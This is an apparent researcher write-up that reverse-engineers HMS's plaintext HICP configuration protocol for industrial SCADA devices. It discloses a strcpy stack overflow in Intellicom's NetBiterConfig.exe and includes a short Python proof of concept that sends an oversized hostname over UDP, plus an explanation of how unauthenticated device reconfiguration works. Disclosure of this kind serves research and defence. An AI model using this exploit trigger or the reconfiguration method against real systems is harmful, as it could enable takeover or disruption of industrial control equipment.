1st PART "HMS HICP Protocol"

AFAIK there is no public documentation about this protocol, if not so
please let me know and I'll repeatedly hit myself with a sharpened
stick.All the information presented here has been obviously obtained by
reverse engineering.

Despite of the fact that this protocol is not complex,I think it has a
potential interest regarding SCADA security.You'll see why.
HICP, is intented to configure HMS's products that include ethernet/
capabilities, since they need a method for configuring Internal
IP,DCHP,NetworkMask,DNS,gateway.... In 2004 HMS released a free tool
named "Anybus IPconfig" which can be used to scan a network where the
devices are connected, then proceeding to configure them. The components
of this application are a simple MFC based GUI and a dll (hicp.dll). So
let's take a look at the exports:


Code (asm)
.text:100027AF ; int __cdecl HICP_SendModuleScan()
.text:100027AF                 public ?HICP_SendModuleScan@@YAHXZ
.text:100027AF ?HICP_SendModuleScan@@YAHXZ proc near
.text:100027AF                 push    ebp
.text:100027B0                 mov     ebp, esp
.text:100027B2                 call    sub_10002175
.text:100027B7                 pop     ebp
.text:100027B8                 retn
.text:100027B8 ?HICP_SendModuleScan@@YAHXZ endp


In C

Code (c)
  sprintf(&Dest, "Module Scan");
  to.sa_family = AF_INET;
  *(_WORD *)&to.sa_data[0] = htons(HICP_PORT); // 3250 UDP
  *(_DWORD *)&to.sa_data[2] = htonl(IP_BROADCAST);
  v1 = strlen(&Dest);
  if ( sendto(s, &Dest, v1 + 1, 0, &to, 16) != -1 )

So we can see that in order to scan the network, this tool sends a
broadcast UDP packet containing the string "Module Scan" to the HICP
port (3250). Inside HMS-AnyBus based devices we can find a hicp daemon
listening on port 3250. Once the device receives that packet it
broadcasts a reply, which contains its current configuration, to the
network on port 3250. The configure Tool listens on this port as well.
Let's see what parameters can be configured via this protocol.

Any value after the '=' can be modified.

+“Protocol version = 1.10; ” # Obvious
+”fb type = EVIL-DEVICE; ” # Device Type
+”module version = 0.66.6; ” # ...
+”mac = 00-30-11-00-CA-FE; ” # MAC
+”ip = 192.168.1.252; ” # ...
+”sn = 255.255.255.0; ” # Network Mask
+”gw = 192.168.1.1; ” # Gateway
+”dhcp = off; ” # whether the device is using a DHCP server for
obtaining the IP address. (on/off)
+”pswd = off; ” # whether the device is using a PASSWORD(on/off)
+”hn = morroBufalo; ” # hostname (optional)
+”dns1 = 192.168.1.33; ” # Primary DNS
+”dns2 = 192.168.1.34; ” # Secondary DNS (optional)
+”password = admin; ” # old password (if any, admin by default)
+”new password = fatbird; ” # new password

These parameters are sent in a UDP packet in plain text, concatenating
each one and separated by a ";".

If you want to configure a device, you need to prepend a "Configure:"
string in this wayt: "Configure: xx-xx-xx-xx-xx-xx;"+ parameters_string.
Where xx-xx-xx-xx-xx-xx is the MAC of the device you want to configure.
You can take a look at HICP_SendConfigure code to verity it. This
request is broadcasted so is received by any device/machine in the
network listening on 3250/UDP. The device checks the MAC against it own
and if matches then proceeds to update its internal registers.The first
three bytes of the MAC are always 00-30-11 which correspond to the HMS'
oui as expected.

In addition to this request, there are a couple of additional replyes
implemented:

+ "Invalid Password:" to indicate a failed configuration attempt
+ "Reconfigured:" to indicate success.


That's all. Make your own conclusions about the security level of this
protocol.I'm just presenting facts.

2nd Part "Intellicom NetBiterConfing.exe Remote Stack Overwrite". Oday
Light.

Another swedish company this time, Intellicom develops a serie of SCADA
products/devices named NetBiter WebSCADA which are based on HMS AnyBus
RemoteCOM device.
We can download the firmware, as well as two tools to configure and
update these devices respectively.Free goods are always nice.
First off, taking a look at the GUI of the tool for configuring devices,
NetBiterConfig.exe, we can see that looks pretty similar to the HMS
one.Except for a couple of added buttons, one to "wink" a device and the
other is to start an "emergency" DHCP server, the tools contains the
same components: hicp.dll and a MFC GUI. However, this one contains a
surprise.
Ok, NetBiterConfig.exe is listening on 3250/UDP receiving packets for
any interface, so we can send a specially crafted UDP packet from
outside the network to trick the tool into thinking we are a NetBiter
device.



If we fill "hn" parameter (HostName) with more than 0x20 bytes, we can
start to overwrite data in the stack. By constructing a hostname of 0x60
bytes we can overwrite a pointer to an vtable of application's
subclassing methods, this can be used to achieve code execution by
emulating a vtable under our control. 0x60 is not an arbitrary value, it
allows us to get %esi pointing to the last 0x20 (approximately) bytes of
our shellcode. The flaw is triggered when the admin double-clicks in the
list box item.

The flaw is a classic strcpy without proper bounds checking in
NetBiterConfig.exe

Code (asm)
.text:00403E52                 lea     edx, [ebp-0ABh]
.text:00403E58                 push    edx ; evil hostname
.text:00403E59                 lea     eax, [ebp-3CCh]
.text:00403E5F                 push    eax
.text:00403E60                 call    strcpy


The flaw does not exist in AnybusIpconfig.exe since it uses "strncpy":


Code (asm)
.text:00403691                 push    80h
.text:00403696                 lea     eax, [esp+0E1h]
.text:0040369D                 push    eax
.text:0040369E                 lea     ecx, [esp+494h]
.text:004036A5                 push    80h
.text:004036AA                 push    ecx
.text:004036AB                 mov     byte ptr [esp+530h], 1
.text:004036B3                 call    sub_425666
….
….
.text:004256D9                 mov     cl, [edx]
.text:004256DB                 mov     [eax], cl
.text:004256DD                 inc     eax
.text:004256DE                 inc     edx
.text:004256DF                 cmp     cl, bl
.text:004256E1                 jz      short loc_4256EB
.text:004256E3                 dec     edi
.text:004256E4                 jz      short loc_4256EB
.text:004256E6                 dec     [ebp+arg_C]
.text:004256E9                 jnz     short loc_4256D9

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(("10.10.10.10",3250))
s.send("protocol version = 1.10; "
       +"fb type = EVIL-DEVICE; "
       +"module version = 0.66.6; "
       +"mac = 00-30-11-00-BA-CA; "

       +"pswd = off; "
       +"hn = "+"A"*0×60+"; "
       +"dns1 = 192.168.1.33;")




Another interesting thing is that you can download the firmware for
free. The firmware is a .bin file that is comprised of a 0x5F bytes
header, which includes a magic
'NBU'+MajorMinorVersion+ImageSize+Checksum+VersionString, followed by a
simple gz file so if we cut off the header we can decompress the
remaining gz file. Cool. The firmware is a custom linux for
MotorolaColdFire processor. It contains interesting stuff like hardcoded
passwords...
